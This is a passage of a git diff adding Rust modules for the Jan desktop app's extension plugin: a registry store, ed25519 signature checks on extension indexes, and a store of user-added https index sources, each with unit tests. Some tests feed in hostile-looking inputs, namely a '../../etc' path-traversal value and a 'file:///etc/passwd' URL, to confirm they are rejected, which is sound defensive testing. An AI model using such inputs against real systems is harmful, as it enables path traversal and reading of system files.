a+/// file of that name already exists, and returns the new path.+pub fn move_aside(file: &Path) -> Result<PathBuf, StoreError> {+ let name = file+ .file_name()+ .map(|n| n.to_string_lossy().into_owned())+ .unwrap_or_default();+ let ts = unix_now();+ let mut aside = file.with_file_name(format!("{name}.corrupt-{ts}"));+ let mut n = 1;+ while aside.exists() {+ aside = file.with_file_name(format!("{name}.corrupt-{ts}-{n}"));+ n += 1;+ }+ fs::rename(file, &aside)?;+ Ok(aside)+}++/// Writes the registry to `root` atomically.+pub fn save(root: &Path, registry: &Registry) -> Result<(), StoreError> {+ write_json_atomic(&path(root), registry)+}++#[cfg(test)]+mod tests {+ use super::*;+ use serde_json::json;++ fn record(version: &str) -> VersionRecord {+ VersionRecord {+ source: Source::Bundle {+ file_name: format!("hello-{version}.tgz"),+ sha512: "sha512-AA==".into(),+ },+ verified: false,+ integrity_checked: false,+ main: "dist/index.js".into(),+ permissions: vec!["ui:notify".into()],+ entry_sha512: "sha512-BB==".into(),+ installed_at: "2026-10-23T10:00:00Z".into(),+ }+ }++ fn sample() -> Registry {+ let mut registry = Registry::default();+ registry.extensions.insert(+ "acme.hello".into(),+ Entry {+ enabled: true,+ active: "0.2.0".into(),+ previous: Some("0.1.0".into()),+ granted: vec!["ui:notify".into()],+ current: record("0.2.0"),+ previous_record: Some(record("0.1.0")),+ },+ );+ registry+ }++ #[test]+ fn missing_file_is_empty() {+ let dir = tempfile::tempdir().unwrap();+ let loaded = load(dir.path()).unwrap();+ assert_eq!(loaded.registry, Registry::default());+ assert_eq!(loaded.recovered_from, None);+ }++ #[test]+ fn save_and_load_round_trip_atomically() {+ let dir = tempfile::tempdir().unwrap();+ save(dir.path(), &sample()).unwrap();+ assert_eq!(load(dir.path()).unwrap().registry, sample());+ let names: Vec<String> = fs::read_dir(dir.path())+ .unwrap()+ .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())+ .collect();+ assert_eq!(names, vec![REGISTRY_FILE.to_string()]);+ }++ #[test]+ fn writes_the_spec_layout() {+ let value = serde_json::to_value(sample()).unwrap();+ let entry = &value["extensions"]["acme.hello"];+ assert_eq!(value["schema"], 1);+ assert_eq!(value["safeMode"], false);+ assert_eq!(entry["active"], "0.2.0");+ assert_eq!(entry["previous"], "0.1.0");+ assert_eq!(entry["entrySha512"], "sha512-BB==");+ assert_eq!(entry["source"], json!({ "kind": "bundle", "fileName": "hello-0.2.0.tgz", "sha512": "sha512-AA==" }));+ assert_eq!(entry["verified"], false);+ assert_eq!(entry["installedAt"], "2026-10-23T10:00:00Z");+ }++ #[test]+ fn a_corrupt_file_is_moved_aside() {+ let dir = tempfile::tempdir().unwrap();+ fs::write(path(dir.path()), b"{ not json").unwrap();+ let loaded = load(dir.path()).unwrap();+ assert_eq!(loaded.registry, Registry::default());+ let aside = loaded.recovered_from.unwrap();+ assert!(aside+ .file_name()+ .unwrap()+ .to_string_lossy()+ .starts_with("extensions.json.corrupt-"));+ assert_eq!(fs::read(&aside).unwrap(), b"{ not json");+ assert!(!path(dir.path()).exists());+ // A second corrupt file does not clobber the first.+ fs::write(path(dir.path()), b"{}").unwrap();+ let second = load(dir.path()).unwrap().recovered_from.unwrap();+ assert_ne!(second, aside);+ assert!(aside.exists());+ }++ #[test]+ fn the_pre_runtime_layout_is_removed_silently() {+ let dir = tempfile::tempdir().unwrap();+ let legacy = json!([{ "name": "@janhq/assistant-extension", "active": true }]);+ fs::write(path(dir.path()), serde_json::to_vec(&legacy).unwrap()).unwrap();+ let old = dir.path().join(LEGACY_SCOPE_DIR).join("assistant-extension").join("dist");+ fs::create_dir_all(&old).unwrap();+ fs::write(old.join("index.js"), b"x").unwrap();+ fs::create_dir_all(dir.path().join("acme.hello")).unwrap();++ remove_legacy(dir.path());+ let loaded = load(dir.path()).unwrap();+ assert_eq!(loaded.registry, Registry::default());+ assert_eq!(loaded.recovered_from, None);+ let mut names: Vec<String> = fs::read_dir(dir.path())+ .unwrap()+ .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())+ .collect();+ names.sort();+ assert_eq!(names, vec!["acme.hello".to_string()]);+ }++ #[test]+ fn the_legacy_cleanup_leaves_a_current_registry_alone() {+ let dir = tempfile::tempdir().unwrap();+ save(dir.path(), &sample()).unwrap();+ remove_legacy(dir.path());+ assert_eq!(load(dir.path()).unwrap().registry, sample());+ // An unreadable object is still corrupt, not legacy.+ fs::write(path(dir.path()), b"{ not json").unwrap();+ remove_legacy(dir.path());+ assert!(path(dir.path()).exists());+ }++ #[test]+ fn unsafe_ids_and_versions_count_as_corrupt() {+ let dir = tempfile::tempdir().unwrap();+ let mut bad = serde_json::to_value(sample()).unwrap();+ bad["extensions"]["acme.hello"]["active"] = json!("../../etc");+ fs::write(path(dir.path()), serde_json::to_vec(&bad).unwrap()).unwrap();+ assert!(load(dir.path()).unwrap().recovered_from.is_some());++ let mut bad = serde_json::to_value(sample()).unwrap();+ bad["schema"] = json!(2);+ fs::write(path(dir.path()), serde_json::to_vec(&bad).unwrap()).unwrap();+ assert!(load(dir.path()).unwrap().recovered_from.is_some());+ }+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/src/signature.rs b/src-tauri/plugins/tauri-plugin-extensions/src/signature.rsnew file mode 100644index 000000000..0cff19148--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/src/signature.rs@@ -0,0 +1,194 @@+//! Detached ed25519 signatures of index documents.+//!+//! Jan ships no key: the trust anchor of a source is the public key the+//! user pinned when adding it. A keyed source publishes `<index url>.sig`+//! next to its index: the standard base64 (with padding) of the 64-byte+//! ed25519 signature over the exact index bytes, optionally followed by+//! whitespace such as a trailing newline. The signature is checked with+//! `verify_strict`, which also refuses weak (small-order) keys and+//! non-canonical signatures, before a single byte of the index is parsed.++use base64::engine::general_purpose::STANDARD;+use base64::Engine as _;+use ed25519_dalek::{Signature, VerifyingKey, PUBLIC_KEY_LENGTH, SIGNATURE_LENGTH};+use url::Url;++use crate::error::SignatureError;++/// Appended to the index URL's path to name its signature.+pub const SIGNATURE_SUFFIX: &str = ".sig";+/// Largest signature file. A signature is 88 base64 characters; anything+/// much bigger is not one and is not read further.+pub const MAX_SIGNATURE_BYTES: usize = 1024;++/// Decodes a pinned public key: standard base64 of 32 bytes that is a+/// valid, non-weak curve point.+pub fn parse_public_key(key: &str) -> Result<VerifyingKey, SignatureError> {+ let bytes = STANDARD+ .decode(key.trim())+ .map_err(|_| SignatureError::MalformedKey)?;+ let bytes: [u8; PUBLIC_KEY_LENGTH] = bytes.try_into().map_err(|_| SignatureError::MalformedKey)?;+ let key = VerifyingKey::from_bytes(&bytes).map_err(|_| SignatureError::MalformedKey)?;+ if key.is_weak() {+ return Err(SignatureError::MalformedKey);+ }+ Ok(key)+}++/// Whether `key` is acceptable as a pinned key.+pub fn is_public_key(key: &str) -> bool {+ parse_public_key(key).is_ok()+}++/// Decodes the contents of a `.sig` file.+pub fn parse_signature(text: &[u8]) -> Result<Signature, SignatureError> {+ let text = std::str::from_utf8(text).map_err(|_| SignatureError::Malformed)?;+ let bytes = STANDARD+ .decode(text.trim())+ .map_err(|_| SignatureError::Malformed)?;+ let bytes: [u8; SIGNATURE_LENGTH] = bytes.try_into().map_err(|_| SignatureError::Malformed)?;+ Ok(Signature::from_bytes(&bytes))+}++/// Checks the `.sig` contents `signature` over the exact `index` bytes+/// against the pinned base64 `public_key`.+pub fn verify_index(index: &[u8], signature: &[u8], public_key: &str) -> Result<(), SignatureError> {+ let key = parse_public_key(public_key)?;+ let signature = parse_signature(signature)?;+ key.verify_strict(index, &signature)+ .map_err(|_| SignatureError::Mismatch)+}++/// The URL of the signature of the index at `index_url`: the same URL+/// with [`SIGNATURE_SUFFIX`] appended to its path. The query is kept and a+/// fragment (never sent anyway) is dropped.+pub fn signature_url(index_url: &Url) -> Url {+ let mut url = index_url.clone();+ let path = format!("{}{SIGNATURE_SUFFIX}", url.path());+ url.set_path(&path);+ url.set_fragment(None);+ url+}++#[cfg(test)]+pub(crate) mod tests {+ use super::*;+ use ed25519_dalek::{Signer, SigningKey};++ /// A fixed test keypair: never use outside tests.+ pub(crate) fn signing_key(seed: u8) -> SigningKey {+ SigningKey::from_bytes(&[seed; 32])+ }++ pub(crate) fn public_key(key: &SigningKey) -> String {+ STANDARD.encode(key.verifying_key().to_bytes())+ }++ pub(crate) fn sign(key: &SigningKey, bytes: &[u8]) -> Vec<u8> {+ format!("{}\n", STANDARD.encode(key.sign(bytes).to_bytes())).into_bytes()+ }++ // RFC 8032 section 7.1, TEST 2: a known-good vector, independent of+ // this crate's signing code.+ const RFC_KEY: &str = "PUAXw+hDiVqStwqnTRt+vJyYLM8uxJaMwM1V8Sr0Zgw=";+ const RFC_MESSAGE: &[u8] = &[0x72];+ const RFC_SIGNATURE: &str =+ "kqAJqfDUyrhyDoILX2QlQKKye1QWUD+Ps3YiI+vbadoIWsHkPhWZbkWPNhPQ8R2MOHsurrQwKu6wDSkWErsMAA==";++ #[test]+ fn accepts_the_rfc_8032_vector() {+ verify_index(RFC_MESSAGE, RFC_SIGNATURE.as_bytes(), RFC_KEY).unwrap();+ // Surrounding whitespace, e.g. a trailing newline, is fine.+ verify_index(RFC_MESSAGE, format!(" {RFC_SIGNATURE}\r\n").as_bytes(), RFC_KEY).unwrap();+ }++ #[test]+ fn accepts_a_good_signature_over_index_bytes() {+ let key = signing_key(7);+ let index = br#"{"schema":1,"generatedAt":"x","extensions":[]}"#;+ verify_index(index, &sign(&key, index), &public_key(&key)).unwrap();+ }++ #[test]+ fn a_tampered_index_byte_is_rejected() {+ let key = signing_key(7);+ let index = br#"{"schema":1,"generatedAt":"x","extensions":[]}"#.to_vec();+ let signature = sign(&key, &index);+ for at in [0, index.len() / 2, index.len() - 1] {+ let mut tampered = index.clone();+ tampered[at] ^= 0x01;+ assert_eq!(+ verify_index(&tampered, &signature, &public_key(&key)),+ Err(SignatureError::Mismatch),+ "byte {at}"+ );+ }+ let mut longer = index.clone();+ longer.push(b' ');+ assert_eq!(verify_index(&longer, &signature, &public_key(&key)), Err(SignatureError::Mismatch));+ assert_eq!(verify_index(RFC_MESSAGE, RFC_SIGNATURE.as_bytes(), &public_key(&key)), Err(SignatureError::Mismatch));+ }++ #[test]+ fn a_signature_by_another_key_is_rejected() {+ let index = b"index bytes";+ let signature = sign(&signing_key(8), index);+ assert_eq!(+ verify_index(index, &signature, &public_key(&signing_key(7))),+ Err(SignatureError::Mismatch)+ );+ }++ #[test]+ fn a_truncated_or_non_base64_signature_is_rejected() {+ let key = signing_key(7);+ let index = b"index bytes";+ let good = String::from_utf8(sign(&key, index)).unwrap();+ let good = good.trim();+ let short = STANDARD.encode(&STANDARD.decode(good).unwrap()[..63]);+ let long = STANDARD.encode([STANDARD.decode(good).unwrap(), vec![0]].concat());+ let unpadded = good.trim_end_matches('=');+ for bad in [+ "",+ "\n",+ &good[..good.len() - 4],+ unpadded,+ &short,+ &long,+ "not base64 at all!",+ &format!("{good} {good}"),+ ] {+ assert_eq!(+ verify_index(index, bad.as_bytes(), &public_key(&key)),+ Err(SignatureError::Malformed),+ "{bad:?}"+ );+ }+ assert_eq!(verify_index(index, &[0xff, 0xfe], &public_key(&key)), Err(SignatureError::Malformed));+ }++ #[test]+ fn bad_or_weak_keys_are_refused() {+ for key in [+ "",+ "AAAA",+ "not base64!",+ // 32 zero bytes: a small-order point.+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",+ // The identity point, also weak.+ "AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",+ ] {+ assert!(!is_public_key(key), "{key:?}");+ assert_eq!(verify_index(RFC_MESSAGE, RFC_SIGNATURE.as_bytes(), key), Err(SignatureError::MalformedKey));+ }+ assert!(is_public_key(RFC_KEY));+ }++ #[test]+ fn the_signature_sits_next_to_the_index() {+ let url = |u: &str| signature_url(&Url::parse(u).unwrap()).to_string();+ assert_eq!(url("https://ext.example.com/index.json"), "https://ext.example.com/index.json.sig");+ assert_eq!(url("https://ext.example.com/a/index.json?v=2#top"), "https://ext.example.com/a/index.json.sig?v=2");+ assert_eq!(url("https://ext.example.com"), "https://ext.example.com/.sig");+ }+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/src/sources.rs b/src-tauri/plugins/tauri-plugin-extensions/src/sources.rsnew file mode 100644index 000000000..a85be33a8--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/src/sources.rs@@ -0,0 +1,492 @@+//! `<root>/sources.json`: the extension indexes the user added. Jan ships+//! none and has no compiled-in index URL or key; every source is one the+//! user typed in, and its public key (if given) is pinned when it is added.+//!+//! The file also remembers, per keyed source, the newest `generatedAt` an+//! accepted signed index carried (rollback protection), and the keys of+//! keyed sources the user removed, so re-adding one of those URLs without a+//! key can be flagged in the UI.++use std::fs;+use std::path::{Path, PathBuf};++use serde::{Deserialize, Serialize};+use url::Url;++use crate::error::{Error, Result};+use crate::registry::move_aside;+use crate::signature::is_public_key;+use crate::store::{now_rfc3339, random_id, write_json_atomic};++/// File name of the source store inside the extensions root.+pub const SOURCES_FILE: &str = "sources.json";+/// The only schema this build reads and writes.+pub const SCHEMA: u32 = 1;+/// Sources one user may add.+pub const MAX_SOURCES: usize = 32;+/// Longest source name, in characters.+pub const MAX_NAME_CHARS: usize = 64;+/// Longest index URL, in bytes.+pub const MAX_URL_BYTES: usize = 2048;+/// Removed pins remembered; the oldest is forgotten first.+pub const MAX_REMOVED_PINS: usize = 64;++/// One user-added index.+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase")]+pub struct IndexSourceEntry {+ /// Random id, assigned when added.+ pub id: String,+ /// Shown as "From <name>".+ pub name: String,+ /// The https URL of the index JSON.+ pub url: String,+ /// Base64 ed25519 public key, pinned when the source was added. When+ /// set, every index from the source must carry a valid signature by it;+ /// it only changes through a confirmed `nextPublicKey` rotation.+ #[serde(default, skip_serializing_if = "Option::is_none")]+ pub public_key: Option<String>,+ /// RFC 3339 UTC.+ pub added_at: String,+ /// The `generatedAt` of the newest signed index accepted from this+ /// source, as written in that index. An index generated earlier is a+ /// replay and is refused. Only kept for a keyed source: an unsigned+ /// index can claim any date.+ #[serde(default, skip_serializing_if = "Option::is_none")]+ pub last_generated_at: Option<String>,+}++/// The key a keyed source had when the user removed it.+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase")]+pub struct RemovedPin {+ /// The source's index URL, as stored.+ pub url: String,+ /// The key that was pinned for it.+ pub public_key: String,+ /// RFC 3339 UTC.+ pub removed_at: String,+}++/// A source entry that failed the checks on load and was dropped.+#[derive(Debug, Clone, PartialEq, Eq, Serialize)]+#[serde(rename_all = "camelCase")]+pub struct DroppedSource {+ /// Its name, when it had a readable one.+ pub name: Option<String>,+ /// Its URL, when it had a readable one.+ pub url: Option<String>,+ /// Why it was dropped.+ pub reason: String,+}++/// What loading the store had to repair. The file as it was is kept at+/// `moved_to`.+#[derive(Debug, Clone, PartialEq, Eq, Serialize)]+#[serde(rename_all = "camelCase")]+pub struct SourcesNotice {+ /// Where the unrepaired file was kept.+ pub moved_to: String,+ /// The dropped entries. Empty when the whole file was unreadable and+ /// every source was lost.+ pub dropped: Vec<DroppedSource>,+}++/// The whole file.+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase")]+pub struct Sources {+ /// Always [`SCHEMA`].+ pub schema: u32,+ /// In the order they were added.+ #[serde(default)]+ pub sources: Vec<IndexSourceEntry>,+ /// Keys of removed keyed sources, oldest first.+ #[serde(default, skip_serializing_if = "Vec::is_empty")]+ pub removed_pins: Vec<RemovedPin>,+}++impl Default for Sources {+ fn default() -> Self {+ Sources {+ schema: SCHEMA,+ sources: Vec::new(),+ removed_pins: Vec::new(),+ }+ }+}++/// The file as read before the entries are checked one by one.+#[derive(Deserialize)]+#[serde(rename_all = "camelCase")]+struct RawSources {+ schema: u32,+ #[serde(default)]+ sources: Vec<serde_json::Value>,+ #[serde(default)]+ removed_pins: Vec<serde_json::Value>,+}++/// Path of the store in `root`.+pub fn path(root: &Path) -> PathBuf {+ root.join(SOURCES_FILE)+}++/// Parses `url` and requires https, a host, and no credentials.+pub fn https_url(url: &str) -> Result<Url> {+ if url.len() > MAX_URL_BYTES {+ return Err(Error::Invalid("the URL is too long".into()));+ }+ let parsed =+ Url::parse(url.trim()).map_err(|_| Error::Invalid(format!("'{url}' is not an absolute URL")))?;+ if parsed.scheme() != "https" {+ return Err(Error::Invalid(format!("'{url}' must use https")));+ }+ if parsed.host_str().map_or(true, str::is_empty) {+ return Err(Error::Invalid(format!("'{url}' has no host")));+ }+ if !parsed.username().is_empty() || parsed.password().is_some() {+ return Err(Error::Invalid(format!("'{url}' must not contain credentials")));+ }+ Ok(parsed)+}++/// Why a stored entry cannot be used, if it cannot.+fn entry_problem(entry: &IndexSourceEntry) -> Option<String> {+ if let Err(e) = https_url(&entry.url) {+ return Some(e.to_string());+ }+ if entry.public_key.as_deref().is_some_and(|k| !is_public_key(k)) {+ return Some("its pinned key is not a valid ed25519 public key".into());+ }+ None+}++fn dropped(value: &serde_json::Value, reason: String) -> DroppedSource {+ let field = |name: &str| value.get(name).and_then(serde_json::Value::as_str).map(str::to_string);+ DroppedSource {+ name: field("name"),+ url: field("url"),+ reason,+ }+}++impl Sources {+ /// Checks the entries of `raw` one by one: a bad source is dropped and+ /// reported, the others are kept. A bad removed pin is only advisory and+ /// is dropped silently.+ fn from_raw(raw: RawSources) -> (Sources, Vec<DroppedSource>) {+ let mut sources = Sources::default();+ let mut bad = Vec::new();+ for value in raw.sources {+ match serde_json::from_value::<IndexSourceEntry>(value.clone()) {+ Ok(entry) => match entry_problem(&entry) {+ Some(reason) => bad.push(dropped(&value, reason)),+ None if sources.sources.iter().any(|s| s.id == entry.id || s.url == entry.url) => {+ bad.push(dropped(&value, "it repeats another source".into()))+ }+ None => sources.sources.push(entry),+ },+ Err(e) => bad.push(dropped(&value, format!("it is malformed: {e}"))),+ }+ }+ sources.removed_pins = raw+ .removed_pins+ .into_iter()+ .filter_map(|v| serde_json::from_value::<RemovedPin>(v).ok())+ .filter(|p| https_url(&p.url).is_ok() && is_public_key(&p.public_key))+ .collect();+ (sources, bad)+ }++ /// The key that was pinned for `url` when a keyed source with that URL+ /// was last removed.+ pub fn removed_pin(&self, url: &str) -> Option<&RemovedPin> {+ let url = https_url(url).ok()?.to_string();+ self.removed_pins.iter().find(|p| p.url == url)+ }++ /// The source with `id`.+ pub fn get(&self, id: &str) -> Result<&IndexSourceEntry> {+ self.sources+ .iter()+ .find(|s| s.id == id)+ .ok_or_else(|| Error::NotFound(format!("no index source '{id}'")))+ }++ /// Adds a source. The URL must be https and not already added; the name+ /// is trimmed, 1-64 characters, no control characters; the key, when+ /// given, must be a base64 32-byte ed25519 public key.+ pub fn add(&mut self, url: &str, name: &str, public_key: Option<&str>) -> Result<IndexSourceEntry> {+ let url = https_url(url)?.to_string();+ let name = name.trim();+ if name.is_empty() || name.chars().count() > MAX_NAME_CHARS || name.chars().any(char::is_control) {+ return Err(Error::Invalid(format!(+ "the name must be 1-{MAX_NAME_CHARS} characters"+ )));+ }+ let public_key = match public_key.map(str::trim).filter(|k| !k.is_empty()) {+ Some(key) if is_public_key(key) => Some(key.to_string()),+ Some(_) => {+ return Err(Error::Invalid(+ "the public key must be a base64 ed25519 key (32 bytes)".into(),+ ))+ }+ None => None,+ };+ if self.sources.iter().any(|s| s.url == url) {+ return Err(Error::Invalid(format!("{url} is already added")));+ }+ if self.sources.len() >= MAX_SOURCES {+ return Err(Error::Denied(format!("at most {MAX_SOURCES} sources can be added")));+ }+ // Pinning a key again settles the earlier removal; adding without+ // one keeps the pin on record, so the next add still warns.+ if public_key.is_some() {+ self.removed_pins.retain(|p| p.url != url);+ }+ let entry = IndexSourceEntry {+ id: random_id(),+ name: name.to_string(),+ url,+ public_key,+ added_at: now_rfc3339(),+ last_generated_at: None,+ };+ self.sources.push(entry.clone());+ Ok(entry)+ }++ /// Re-pins the key of source `id` from `current` to `next`. Refused when+ /// the source has no key or its key is no longer `current`, so a+ /// rotation offered by one index never applies over another change.+ pub fn rotate_key(&mut self, id: &str, current: &str, next: &str) -> Result<IndexSourceEntry> {+ if !is_public_key(next) {+ return Err(Error::Invalid(+ "the next public key must be a base64 ed25519 key (32 bytes)".into(),+ ));+ }+ let entry = self+ .sources+ .iter_mut()+ .find(|s| s.id == id)+ .ok_or_else(|| Error::NotFound(format!("no index source '{id}'")))?;+ match entry.public_key.as_deref() {+ None => {+ return Err(Error::Denied(+ "an unsigned source has no key to rotate; add it again with a key".into(),+ ))+ }+ Some(pinned) if pinned != current => {+ return Err(Error::Denied("the source's key changed meanwhile".into()))+ }+ Some(_) => {}+ }+ entry.public_key = Some(next.to_string());+ Ok(entry.clone())+ }++ /// Removes the source with `id`. Installed extensions keep working: they+ /// record where they came from. A keyed source's key is remembered as a+ /// removed pin.+ pub fn remove(&mut self, id: &str) -> Result<()> {+ let at = self+ .sources+ .iter()+ .position(|s| s.id == id)+ .ok_or_else(|| Error::NotFound(format!("no index source '{id}'")))?;+ let removed = self.sources.remove(at);+ if let Some(public_key) = removed.public_key {+ self.removed_pins.retain(|p| p.url != removed.url);+ self.removed_pins.push(RemovedPin {+ url: removed.url,+ public_key,+ removed_at: now_rfc3339(),+ });+ let excess = self.removed_pins.len().saturating_sub(MAX_REMOVED_PINS);+ self.removed_pins.drain(..excess);+ }+ Ok(())+ }++ /// Records that a signed index generated at `generated_at` was accepted+ /// from source `id`.+ pub fn set_last_generated_at(&mut self, id: &str, generated_at: &str) -> Result<()> {+ let entry = self+ .sources+ .iter_mut()+ .find(|s| s.id == id)+ .ok_or_else(|| Error::NotFound(format!("no index source '{id}'")))?;+ entry.last_generated_at = Some(generated_at.to_string());+ Ok(())+ }+}++/// Reads the store in `root`, repairing what it must; see [`load_reporting`].+pub fn load(root: &Path) -> Result<Sources> {+ Ok(load_reporting(root)?.0)+}++/// Reads the store in `root`. Missing is empty. A file that is not JSON or+/// has another schema is moved aside to `sources.json.corrupt-<ts>` and+/// read as empty. A source entry that fails the checks (a plain-http URL,+/// a key the current checks refuse) costs only that entry: the file is+/// moved aside as it was, the remaining sources are written back, and the+/// notice says which were dropped. Either repair returns a notice.+pub fn load_reporting(root: &Path) -> Result<(Sources, Option<SourcesNotice>)> {+ let file = path(root);+ let bytes = match fs::read(&file) {+ Ok(bytes) => bytes,+ Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok((Sources::default(), None)),+ Err(e) => return Err(e.into()),+ };+ let (sources, dropped) = match serde_json::from_slice::<RawSources>(&bytes) {+ Ok(raw) if raw.schema == SCHEMA => {+ let (sources, dropped) = Sources::from_raw(raw);+ if dropped.is_empty() {+ return Ok((sources, None));+ }+ (sources, dropped)+ }+ _ => (Sources::default(), Vec::new()),+ };+ let aside = move_aside(&file)?;+ log::error!(+ "extension sources {}: {}; the file as it was is at {}",+ file.display(),+ if dropped.is_empty() {+ "unreadable, every source was dropped".to_string()+ } else {+ format!("{} invalid source(s) dropped", dropped.len())+ },+ aside.display()+ );+ if !dropped.is_empty() {+ save(root, &sources)?;+ }+ let notice = SourcesNotice {+ moved_to: aside.to_string_lossy().into_owned(),+ dropped,+ };+ Ok((sources, Some(notice)))+}++/// Writes the store to `root` atomically.+pub fn save(root: &Path, sources: &Sources) -> Result<()> {+ write_json_atomic(&path(root), sources)?;+ Ok(())+}++#[cfg(test)]+mod tests {+ use super::*;++ const KEY: &str = "11qYAYKxCrfVS/7TyWQHOg7hcvPapiMlrwIaaPcHURo=";++ #[test]+ fn adds_removes_and_persists() {+ let dir = tempfile::tempdir().unwrap();+ let mut sources = load(dir.path()).unwrap();+ let a = sources.add("https://ext.example.com/index.json", " Example ", Some(KEY)).unwrap();+ assert_eq!(a.name, "Example");+ assert_eq!(a.public_key.as_deref(), Some(KEY));+ let b = sources.add("https://other.example.org/i.json", "Other", None).unwrap();+ save(dir.path(), &sources).unwrap();++ let mut loaded = load(dir.path()).unwrap();+ assert_eq!(loaded, sources);+ assert_eq!(loaded.get(&b.id).unwrap().url, "https://other.example.org/i.json");+ loaded.remove(&a.id).unwrap();+ assert!(matches!(loaded.remove(&a.id), Err(Error::NotFound(_))));+ assert_eq!(loaded.sources.len(), 1);+ }++ #[test]+ fn rejects_non_https_and_bad_input() {+ let mut sources = Sources::default();+ for url in [+ "http://ext.example.com/index.json",+ "file:///etc/passwd",+ "ftp://x.example.com/",+ "https://user:[email protected]/",+ "not a url",+ "",+ ] {+ assert!(matches!(sources.add(url, "x", None), Err(Error::Invalid(_))), "{url}");+ }+ assert!(sources.add("https://a.example.com/", "", None).is_err());+ assert!(sources.add("https://a.example.com/", "x\u{7}", None).is_err());+ assert!(sources.add("https://a.example.com/", &"n".repeat(65), None).is_err());+ assert!(sources.add("https://a.example.com/", "x", Some("not-base64!")).is_err());+ assert!(sources.add("https://a.example.com/", "x", Some("AAAA")).is_err());+ sources.add("https://a.example.com/", "x", None).unwrap();+ assert!(sources.add("https://a.example.com/", "y", None).is_err());+ assert!(sources.sources.len() == 1);+ }++ #[test]+ fn rotates_only_a_pinned_key_still_in_place() {+ const NEXT: &str = "PUAXw+hDiVqStwqnTRt+vJyYLM8uxJaMwM1V8Sr0Zgw=";+ let mut sources = Sources::default();+ let keyed = sources.add("https://a.example.com/", "a", Some(KEY)).unwrap();+ let open = sources.add("https://b.example.com/", "b", None).unwrap();+ assert!(matches!(sources.rotate_key(&open.id, KEY, NEXT), Err(Error::Denied(_))));+ assert!(matches!(sources.rotate_key(&keyed.id, NEXT, NEXT), Err(Error::Denied(_))));+ assert!(matches!(sources.rotate_key(&keyed.id, KEY, "AAAA"), Err(Error::Invalid(_))));+ assert!(matches!(sources.rotate_key("nope", KEY, NEXT), Err(Error::NotFound(_))));+ assert_eq!(sources.get(&keyed.id).unwrap().public_key.as_deref(), Some(KEY));+ let rotated = sources.rotate_key(&keyed.id, KEY, NEXT).unwrap();+ assert_eq!(rotated.public_key.as_deref(), Some(NEXT));+ assert_eq!(sources.get(&keyed.id).unwrap(), &rotated);+ }++ #[test]+ fn a_weak_key_is_not_pinned() {+ let mut sources = Sources::default();+ let zero = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";+ assert!(matches!(sources.add("https://a.example.com/", "a", Some(zero)), Err(Error::Invalid(_))));+ }++ #[test]+ fn caps_the_number_of_sources() {+ let mut sources = Sources::default();+ for i in 0..MAX_SOURCES {+ sources.add(&format!("https://s{i}.example.com/"), "s", None).unwrap();+ }+ assert!(matches!(+ sources.add("https://more.example.com/", "s", None),+ Err(Error::Denied(_))+ ));+ }++ #[test]+ fn writes_the_documented_layout() {+ let mut sources = Sources::default();+ sources.add("https://ext.example.com/index.json", "Example", Some(KEY)).unwrap();+ let value = serde_json::to_value(&sources).unwrap();+ let entry = &value["sources"][0];+ assert_eq!(value["schema"], 1);+ assert_eq!(entry["url"], "https://ext.example.com/index.json");+ assert_eq!(entry["publicKey"], KEY);+ assert!(entry["addedAt"].as_str().unwrap().ends_with('Z'));+ assert!(entry["id"].is_string());+ }++ #[test]+ fn a_corrupt_file_or_its_only_unsafe_entry_is_moved_aside() {+ let dir = tempfile::tempdir().unwrap();+ fs::write(path(dir.path()), "{").unwrap();+ assert_eq!(load(dir.path()).unwrap(), Sources::default());+ fs::write(+ path(dir.path()),+ r#"{"schema":1,"sources":[{"id":"x","name":"x","url":"http://plain.example.com/","addedAt":"t"}]}"#,+ )+ .unwrap();+ assert_eq!(load(dir.path()).unwrap(), Sources::default());+ let aside = fs::read_dir(dir.path())+ .unwrap()+ .filter(|e| e.as_ref().unwrap().file_name().to_string_lossy().contains(".corrupt-"))+ .count();+ assert_eq!(aside, 2);+ }+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/src/state.rs b/src-tauri/plugins/tauri-plugin-extensions/src/state.rsnew file mode 100644index 000000000..6e5350499--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/src/state.rs@@ -0,0 +1,254 @@+//! The plugin's state: the extensions root, the registry lock, staged+//! installs awaiting consent, and the network client extensions use.+//! Constructible without a Tauri runtime, so the install pipeline is tested+//! against a temporary root.++use std::collections::HashMap;+use std::fs;+use std::path::{Path, PathBuf};+use std::sync::atomic::{AtomicU64, Ordering};+use std::sync::{Arc, Mutex, MutexGuard};+use std::time::Duration;++use tokio::sync::oneshot;++use crate::error::{Error, Result};+use crate::manifest::ValidatedManifest;+use crate::registry::{self, Registry, Source};+use crate::store::random_id;++/// Directory under the root that holds extractions awaiting consent.+pub const STAGING_DIR: &str = ".staging";+/// Environment variable that forces safe mode on when set to `1`.+pub const SAFE_MODE_ENV: &str = "JAN_EXTENSIONS_SAFE_MODE";+/// Staged installs kept at once; each holds an extracted package on disk.+pub const MAX_STAGES: usize = 8;++/// A package extracted to `.staging/<id>` and awaiting `confirm_install`.+#[derive(Debug, Clone)]+pub struct Stage {+ /// The stage id, also the directory name.+ pub id: String,+ /// The extracted package.+ pub dir: PathBuf,+ /// Its validated manifest.+ pub manifest: ValidatedManifest,+ /// SRI of the tarball.+ pub sha512: String,+ /// Where the tarball came from.+ pub source: Source,+ /// Whether the tarball matched a pinned SRI.+ pub integrity_checked: bool,+ /// Whether it came from a keyed source whose index signature verified.+ pub verified: bool,+ /// SRI of the entry file.+ pub entry_sha512: String,+}++/// How the state is set up.+#[derive(Debug, Clone)]+pub struct Options {+ /// This Jan's version, checked against `engines.jan`.+ pub app_version: String,+ /// Safe mode forced on for this run, whatever the registry says.+ pub safe_mode_forced: 